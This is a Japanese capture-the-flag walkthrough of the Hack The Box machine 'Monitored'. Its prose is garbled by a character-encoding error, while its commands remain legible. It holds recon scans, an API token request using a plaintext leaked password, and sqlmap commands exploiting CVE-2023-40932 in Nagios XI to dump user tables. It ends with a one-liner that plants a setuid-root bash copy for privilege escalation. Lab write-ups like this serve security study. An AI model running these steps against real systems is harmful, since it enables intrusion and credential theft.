ç®æ¬¡
Â
Â
Â
åµå¯ï¼ã¹ãã£ã³
nmapã§ã¹ãã£ã³ãã¾ãã
-p-ã§ã¹ãã£ã³ãã確èªã§ãããã¼ãã«è©³ç´°ãªã¹ãã£ã³ãè¡ãã¾ãã
âââ(kaliã¿kali)-[~/htb/monitored] ââ$ sudo nmap -sC -sV -A -O -p22,80,389,443,5667 10.10.11.248 Nmap scan report for 10.10.11.248 Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA) | 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA) |_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519) 80/tcp open http Apache httpd 2.4.56 |_http-title: Did not follow redirect to https://nagios.monitored.htb/ |_http-server-header: Apache/2.4.56 (Debian) 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 443/tcp open ssl/https Apache/2.4.56 (Debian) |_http-server-header: Apache/2.4.56 (Debian) | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-title: Nagios XI | ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK | Not valid before: 2023-11-11T21:46:55 |_Not valid after: 2297-08-25T21:46:55 5667/tcp open tcpwrapped Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 186.48 ms 10.10.14.1 2 186.83 ms 10.10.11.248 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.62 seconds
TCP/443ã®èª¿æ»
/etc/hostsã«nagios.monitored.htbã追å ããã©ã¦ã¶ã§ã¢ã¯ã»ã¹ããã¨ä»¥ä¸ã®ãããªãã¼ã¸ã表示ããã¾ãã
NagiosXIã®ããã©ã«ãã¢ã«ã¦ã³ãã試ãã«å ¥åãã¦ã¿ã¾ããããã¢ã¯ã»ã¹ã¯ã§ãã¾ããã§ããã
Â
ãã®ä»ãldapçããã¯æåãªæ å ±ãåå¾ã§ãã¾ããã§ããã
ã¤ã¥ãã¦UDPã®ã¹ãã£ã³ãè¡ãã¾ããSNMPãéãã¦ãããã¨ããããã¾ãã
âââ(kaliã¿kali)-[~/htb/monitored] ââ$ sudo nmap -sU -p- 10.10.11.248 --open -T4 -Pn --min-rate=1000 Nmap scan report for nagios.monitored.htb (10.10.11.248) Host is up (0.21s latency). Not shown: 65078 open|filtered udp ports (no-response), 455 closed udp ports (port-unreach) PORT STATE SERVICE 123/udp open ntp 161/udp open snmp Nmap done: 1 IP address (1 host up) scanned in 458.98 seconds
Â
SNMPã«å¯¾ãã¦åæãè¡ãã¾ãã
snmpbulkwalk -v 2c -c public 10.10.11.248
ãsvcãã¢ã«ã¦ã³ãã§ã·ã§ã«ãå®è¡ãã¦ããæ å ±ã確èªã§ãã¾ãã
ä¸è¨ã®ã¢ã«ã¦ã³ãã§ã¯NagiosXIã«ãã°ã¤ã³ã§ãã¾ããã§ããã
Googleæ¤ç´¢ã§ã"nagios xi" "api" "curl" "authenticate"ãã¨æ¤ç´¢ããã¨ä»¥ä¸ã®è¨äºãè¦ã¤ããã¾ãã
Â
ä¸è¨ã§/nagiosxi/api/v1/authenticate?pretty=1ã«ãªã¯ã¨ã¹ãããä¾ãããã¾ãã
å®éã«å®è¡ããã¨tokenãåå¾ã§ãã¾ãã
curl -XPOST -k -L 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'Â
Â
ãã°ã¤ã³ç»é¢ã§ä¸è¨ã§åå¾ããtokenãå©ç¨ããã¨svcã§ãã°ã¤ã³ãã§ãã¾ããã
Â
ã¢ã¯ã»ã¹åå¾ï¼ã¦ã¼ã¶ãã©ã°ï¼
ãã°ã¤ã³å¾ã®ç»é¢ã§ã¯ãã¼ã¸ã§ã³æ
å ±ã確èªã§ãã¾ãã
ãã¼ã¸ã§ã³æ
å ±ã§æ¤ç´¢ããã¨ãCVE-2023-40932ãã®èå¼±æ§æ
å ±ã確èªã§ãã¾ãã
ã/nagiosxi/admin/banner_message-ajaxhelper.phpãã¸ãªã¯ã¨ã¹ããéä¿¡ããéã®idãã©ã¡ã¼ã¿ããµãã¿ã¤ãºãããªãèå¼±æ§ã¨ã®ãã¨ã§ãã
ç¾å¨ã®ã»ãã·ã§ã³ã®Cookieæ å ±ã確èªã以ä¸ã®ã³ãã³ããå®è¡ãã¾ãã
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message?id=3" --cookie "nagiosxi=ããã¯èªèº«ã®Cookie" --batch --dbs
Â
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message" --cookie "nagiosxi=ããã¯èªèº«ã®Cookie" --batch -D nagiosxi --tables
Â
sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=*&action=acknowledge_banner_message" --cookie "nagiosxi=ããã¯èªèº«ã®Cookie" --batch -D nagiosxi -T xi_users --dump
Â
svcã«å ãã¦ãNagios Administratorã®ãã¹ã¯ã¼ãã¨APIãã¼ãåå¾ã§ãã¾ããã
ä¸è¨ã®ãã¼ã使ç¨ãã¦ã¦ã¼ã¶ãä½æãã¾ãã
ä½æããã¦ã¼ã¶ã§NagiosXIã«ãã°ã¤ã³ãã§ãã¾ãã
Â
ãConfigureãã¼ãCore Config Managerããããæ°è¦ã®ã³ãã³ããä½æãã¾ãã
ä½æããå 容ã¯ä»¥ä¸ã®ãµã¤ããåè
Â
ãService Managementãããæ¢åã®Serviceãå¤æ´ãã¦ä¸è¨ã§ä½æããã³ãã³ããæå®ãã¦å®è¡ãã¾ãã
nagiosã®ã·ã§ã«ãåå¾ã§ãã¾ãã
Â
権éææ ¼
ãsudo -lãã確èªããã¨ããã¤ãã®ã³ãã³ããå®è¡ã§ãããã¨ã確èªã§ãã¾ãã
ãã®ãã¡ãmanage_services.shãã§ã¯ãsystemctlãã®å®è¡ã確èªã§ãã¾ãã
Â
ä¸è¨ã«ãããnagiosããã¿ãã¨ãã¤ããªã®ãã¹ã確èªã§ãã¾ãã
ã¾ãç¾å¨ã®ã¦ã¼ã¶ãnagiosãã®ææã§ãããã¨ã確èªã§ãã¾ãã
nagiosãææãã¦ãããã¤ããªãå¤æ´ãã¦ä»»æã®ã³ãã³ããå®è¡ããããã«å¤æ´ãã¾ãã
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/iestudy\nchown root:root /tmp/iestudy\nchmod 6777 /tmp/iestudy' > nagios
ããã¾ã§ã§rootãåå¾ã§ãã¾ããã
Â
ãã®ä»
Â
Â
Â
Â
Â